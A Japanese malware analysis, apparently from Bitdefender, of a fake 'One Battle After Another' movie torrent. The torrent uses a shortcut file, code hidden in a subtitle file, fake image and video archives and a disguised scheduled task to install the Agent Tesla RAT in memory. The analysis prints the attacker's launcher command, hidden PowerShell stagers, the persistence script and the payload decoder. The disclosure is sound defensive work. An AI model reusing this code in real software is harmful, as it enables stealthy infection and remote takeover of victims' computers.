One Battle After Another の映画トレントと思われるものに関連した検出が急増していることに気づいた後、Bitdefenderの研究者は調査を開始し、それが複雑な感染チェーンであることを発見しました。
レオナルド・ディカプリオの最新作であるこの映画は、急速に悪名を高めており、できるだけ多くのデバイスに感染させようとするサイバー犯罪者にとって魅力的なおとりとなっています。
人々はしばしば、劇場公開が始まったばかり、あるいはペイパービューのストリーミングでしか見られない最新映画のコピーを探してインターネットを検索します。そして、ユーザーは娯楽を求めているため、映画をダウンロードすることで感染する可能性があるとは思いもしないかもしれません。
しかし、一見単純なダウンロードが、すぐにはるかに危険なものへと変貌することがあります。期待していた動画ファイルの代わりに、ユーザーは知らないうちにPowerShellスクリプトと画像アーカイブの詰め合わせをダウンロードしてしまい、それらがメモリ常駐型のコマンド&コントロール(C2)エージェント、別名Agent Teslaという名のトロイの木馬(RAT – Remote Access Trojan)へと組み上がります。
この種のマルウェアは、攻撃者に被害者のWindowsコンピュータへの無制限のアクセスを与えるという、ただ一つの目的のために設計されています。一度足がかりを得ると、犯罪者はコンピュータにリモートアクセスし、金融情報や個人情報を盗んだり、そのデバイスを利用してさらなる攻撃を仕掛けたりできます。
トレントや、映画やテレビ番組を提供しているかのように装った偽マルチメディアファイルにマルウェアを埋め込む手口は新しいものではありませんが、ここ1年ほどで大きく勢いを増しています。
たとえば、ミッション:インポッシブル – The Final Reckoning は、パスワード、クッキー、暗号通貨ウォレット、リモートデスクトップツールの認証情報などを狙う Lumma Stealer を拡散するために利用されました。
この偽映画リリースで使われているAgent Teslaマルウェアは、メールフィッシング や COVID-19ワクチン接種登録 など、多くのキャンペーンで何年にもわたり使用されてきました。
本調査では、この新たな攻撃のあらゆるレイヤーを文書化し、検知回避を支えるコンポーネント同士がどのように連携しているかを示します。
主な発見事項
- レオナルド・ディカプリオの新作映画 One Battle After Another の知名度が、何も知らないユーザーのWindowsマシンにマルウェアを展開するために悪用されている。
- Agent Tesla RAT自体は新しいものではないが、PowerShellやその他のLOTL(Living Off the Land)ツールを活用した連続的な攻撃手法の展開は非常に興味深い。
- 当社の知見によると、この特定のタイプの攻撃は、このトレントダウンロードでのみ使用されている。
- ペイロードの実行は完全にメモリ上で行われる。
- この攻撃は、多段階スクリプト、高度な難読化技術、ファイルレス実行を用いて検知を回避し、永続化を達成する手法を示している。
- 目的は、Windows PCをゾンビエージェントへと変貌させ、攻撃者が他のキャンペーンでいつでも利用したり、さらなるマルウェアを展開したりできるようにすること。
- この攻撃は、普段あまり海賊版コンテンツをダウンロードせず、トレントの危険性を理解していない初心者を標的としている。
コンテキスト
感染は、ユーザーが One Battle After Another の映画を含んでいるように見えるトレントをダウンロードしたときに始まります。ダウンロードしたコンテンツの中には、映画を起動するためのものだと示す、CD.lnk という名前だけのショートカットファイルが含まれています。
しかし、そのファイルをクリックすると、字幕ファイル Part2.subtitles.srt 内に埋め込まれた一連の悪意あるスクリプトを実行する隠れたコマンドチェーンが起動します。
攻撃者は、複数の暗号化データ層を展開するために、いくつかの正規のWindowsユーティリティ(CMD、PowerShell、タスクスケジューラ)を使用します。
感染チェーン
- 偽の映画ランチャー
ユーザーがCD.lnkを開くと、次のコマンドが実行されます。
\Windows\System32\cmd.exe /c type Part2.subtitles.srt | more | findstr /n "^" | findstr "100: 101: 102: 103:" | for /f "tokens=1,* delims=:" %a in ('more') do cmd /c %b
要するに、このコマンドは Part2.subtitles.srt を読み込み、100~103行目を抽出し、それらを cmd.exe と powershell.exe を使って実行するという意味になります。
意外なことに、この .srt ファイルには実際の字幕が含まれていますが、100~103行目には攻撃を開始するバッチコードが含まれています。
- 字幕内の隠しコード
指定された行では、字幕ファイルは次のバッチスクリプトを実行します。
@echo off
cd /d "%~dp0"
powershell -windowstyle hidden -nop -ep Bypass -c "$s=5005;$e=152;$f=('P'+[char]97+'rt'+(1+1)+'.subtitles.srt');(gc $f)|select -Skip $s -First $e|powershell -windowstyle hidden -nop -ep Bypass -f -"
このPowerShellコマンドは、実際には Part2.subtitles.srt という別のファイルを開き、5005行目までスキップして152行を読み取り、それらを実行します。これにより次のステージが明らかになります。

- 埋め込まれたペイロードの復号
PowerShellコードは、同じ字幕ファイルの暗号化データブロック(6034行目、7216行目、7419行目)を解析します。スクリプトはAES復号を使用し、複数のPowerShellスクリプトを次のフォルダに書き込みます。
C:\Users\<USER>\AppData\Local\Microsoft\Diagnostics

出力されるのは5つの新しいPowerShellスクリプトで、それぞれが攻撃の1ステージを担当します。
- スクリプト1:アーカイブの展開
最初のスクリプトは、「One Battle After Another.m2ts」というファイルからコンテンツを抽出します。これは偽の動画ファイルで、実際にはアーカイブです(かつ最も大きなファイルです)。
利用可能なツールに応じて、Expand-Archive、WinRAR、7-Zip、Bandizip が見つかればそれらを使用します。
$arc=".\One Battle After Another.m2ts"; $out=".\";
if($arc -like '*.zip' -and (Get-Command Expand-Archive -Ea 0)){Expand-Archive $arc $out -Force}
elseif($arc -like '*.zip'){($s=New-Object -Com Shell.Application).Namespace($out).CopyHere($s.Namespace($arc).Items(),16)}
elseif(Test-Path "C:\Program Files\WinRAR\WinRAR.exe"){& "C:\Program Files\WinRAR\WinRAR.exe" x -ibck -inul -o+ $arc $out}
elseif(Test-Path "C:\Program Files\7-Zip\7z.exe"){& "C:\Program Files\7-Zip\7z.exe" x $arc -o"$out" -y}
elseif(Test-Path "C:\Program Files\Bandizip\Bandizip.exe"){& "C:\Program Files\Bandizip\Bandizip.exe" x $arc $out -y}
else{"No extractor found"}
このスクリプトの役割は1つだけで、後で使用するために偽アーカイブを展開することです。
- スクリプト2:スケジュールタスクの作成
2つ目のスクリプトの目的は、タスクスケジューラを通じて永続化を確立することです。RealtekDiagnostics という名前のタスク(ユーザーが不審なものを探したときに紛れ込むよう、“Audio Helper” と説明される)を作成し、RealtekCodec.bat というバッチファイルを実行します。
$C = "$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache"
$T = "RealtekDiagnostics"
$B = "$C\RealtekCodec.bat"
$S = New-Object -ComObject Schedule.Service
$S.Connect()
$F = $S.GetFolder("\")
$D = $S.NewTask(0)
$D.RegistrationInfo.Description = "Audio Helper"
$A = $D.Actions.Create(0)
$A.Path = "cmd.exe"
$A.Arguments = [string]::Format('/c start /min "" "{0}"', $B)
$F.RegisterTaskDefinition($T, $D, 6, $null, $null, 3, $null)
このタスクは非表示で、現在のユーザーアカウントの下で実行されます。また、タスクは作成から1分後、もしくはログオン時にトリガーされます。
- スクリプト3:「photo.jpg」からの隠しデータのデコード
3つ目のスクリプトは、Photo.jpg を処理します。これはエンコードされたバイナリデータを含む偽の画像です。スクリプトはそれをバイト単位で読み取り、デコードします。
$Deal = ".\Photo.jpg"
$Exit = "$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache"
[byte[]]$blob = [IO.File]::ReadAllBytes($Deal)
$pos = 0
$enc = [System.Text.Encoding]::UTF8
while ($pos -lt $blob.Length) {
if ($pos + 4 -gt $blob.Length) { break }
$nameLen = [BitConverter]::ToInt32($blob, $pos)
$pos += 4
if ($pos + $nameLen -gt $blob.Length) { break }
$filename = $enc.GetString($blob[$pos..($pos + $nameLen - 1)])
$pos += $nameLen
if ($pos + 4 -gt $blob.Length) { break }
$dataLen = [BitConverter]::ToInt32($blob, $pos)
$pos += 4
if ($pos + $dataLen -gt $blob.Length) { break }
$data = $blob[$pos..($pos + $dataLen - 1)]
$pos += $dataLen
for ($i = 0; $i -lt $data.Length; $i++) {
$data[$i] = ($data[$i] - 3) -band 0xFF
}
$outPath = Join-Path $Exit $filename
[IO.Directory]::CreateDirectory((Split-Path $outPath)) | Out-Null
[IO.File]::WriteAllBytes($outPath, $data)
Write-Host "[+] Restored: $filename"
}
デコードされた各ファイルは、Windows Sound Diagnostics の Cache フォルダに送られます。
- スクリプト4:キャッシュフォルダのセットアップ
4つ目のスクリプトは、後日ペイロードに使用されるフォルダが存在することを保証するために設計されています。
$Cache = "$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache"
if (-not (Test-Path $Cache)) {
New-Item -Path $Cache -ItemType Directory -Force | Out-Null
}
- スクリプト5:「cover.jpg」の展開
5つ目のPowerShellスクリプトは、最も興味深いものの1つです。これは実際には、Cover.jpg と偽装された2つ目のアーカイブを抽出します。このアーカイブは「強力なパスワード」で保護されているとされていますが、パスワードは「1」です。
Cacheフォルダが空の場合、スクリプトはWinRAR、7-Zip、またはBandizipを使用してファイルを展開します。
$arc1=".\Cover.jpg"; $pw="1"
$out="$env:LOCALAPPDATA\Packages\Microsoft.WindowsSoundDiagnostics\Cache"
if (!(Test-Path $out)) {New-Item $out -ItemType Directory -Force | Out-Null}
if ((Get-ChildItem $out -File -Recurse -ErrorAction SilentlyContinue).Count -eq 0) {
if (Test-Path "C:\Program Files\WinRAR\WinRAR.exe") {
Start-Process -FilePath "C:\Program Files\WinRAR\WinRAR.exe" -ArgumentList "x -ibck -inul -o+ -p$pw -ep1 -y `"$arc1`" `"$out`"" -Wait -WindowStyle Hidden
} elseif (Test-Path "C:\Program Files\7-Zip\7z.exe") {
Start-Process -FilePath "C:\Program Files\7-Zip\7z.exe" -ArgumentList "x -p$pw `"$arc1`" -o' "$out`" -y" -Wait -WindowStyle Hidden
} elseif (Test-Path "C:\Program Files\Bandizip\Bandizip.exe") {
Start-Process -FilePath "C:\Program Files\Bandizip\Bandizip.exe" -ArgumentList "x `"$arc1`" `"$out`" -p:$pw -y" -Wait -WindowStyle Hidden
} else {
"No extractor found"
}
} else {
"Archive already extracted"
}
この展開によって、実際には複数のファイルが抽出されます。
- {ABBF9F3A-4EE4-1C17-AF33-C637E37CA0D9}.1.ver0x0200040000100002.db
- {AFBF9F1A-1EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-2EE2-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-3EE3-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F1A-4EE4-1C17-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db
- {AFBF9F1A-4EE4-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000003.db
- {AFBF9F2A-4EE4-4C27-AF34-C647E37CA0D9}.1.ver0x0000300002000403.db
- {AFBF9F3A-4EE4-1C17-AF32-C647E37CA0D9}.1.ver0x0000040000000002.db
- {AFBF97F1A-4EE4-1a17-AF34-C647E37CA0D9}.1.ver0x0001000000000002.db
- {AFBF97F1A-4EE4-1a17-AF34-C647E37CA0D9}.1.ver0x0343400000000002.db
- AudioTask.xml
- part1.txt
- part2.txt
- Part3.Resolution
- part3.txt
- RealtekAudioService.db
- RealtekAudioService.go
- RealtekAudioSyncHelper.bat
- RealtekCodec.bat
- RealtekDriverInstall.ps1
- RealtekUpdateDriver.ps1
- Realtekcodec.bat と realtekdriverinstall.ps1
スケジュールタスクは RealtekCodec.bat を実行し、その後で「RealtekDriverInstall.ps1」を実行します。
RealtekDriverInstall.ps1 スクリプトは、その後いくつかの重要な処理を行います。
- Windows Defender が有効かどうかを確認する。
- Go言語のインストールを試みる。
- RealtekAudioService をコンパイルする。
- 既存のスケジュールタスクを利用して永続化を構成する。
コンパイルされた実行ファイルは、メインペイロードである Agent Tesla マルウェアの次ステージローダーとして機能します。
- 「part3.resolution」によるランタイム実行
すべての準備が整うと、RealtekAudioSyncHelper.bat スクリプトが実行され、Part 3.Resolution を読み込みます。
1014行目で、PowerShellコマンドが3つのテキストファイル(part1.txt、part2.txt、part3.txt)を連結・デコードし、メモリ上で直接実行されるペイロードを生成します。この段階では、ファイルはディスクに書き込まれません。
- 最終ペイロードの挙動
デコードされたバイナリは完全にメモリ上で実行され、C2(コマンド&コントロール)接続を確立するために必要なすべてのライブラリと機能を含んでいます。
調査では、その通信ルーチンは確認されましたが、外部接続が試行されなかったため、リモートサーバーの宛先は特定されていません。
結論
どれだけ多くの人がこのファイルをダウンロードしたかを推定することは不可能ですが、この映画とされるトレントには何千人ものシーダーとリーチャーがいたことがわかりました。Bitdefenderのセキュリティソリューションを導入していたユーザーであれば、最初から保護されていたはずです。
ここ数年、最新のテレビ番組や映画をうたう感染トレントファイルの数は急増しています。攻撃者が有効な攻撃ベクターを見つけたことは明らかであり、Agent Tesla は攻撃者のお気に入りのツールの1つになりつつあるようです。
ユーザーが、マルチメディアファイルの中にも脅威が潜んでいる可能性があると理解するまでは、こうした問題は今後も増え続けるでしょう。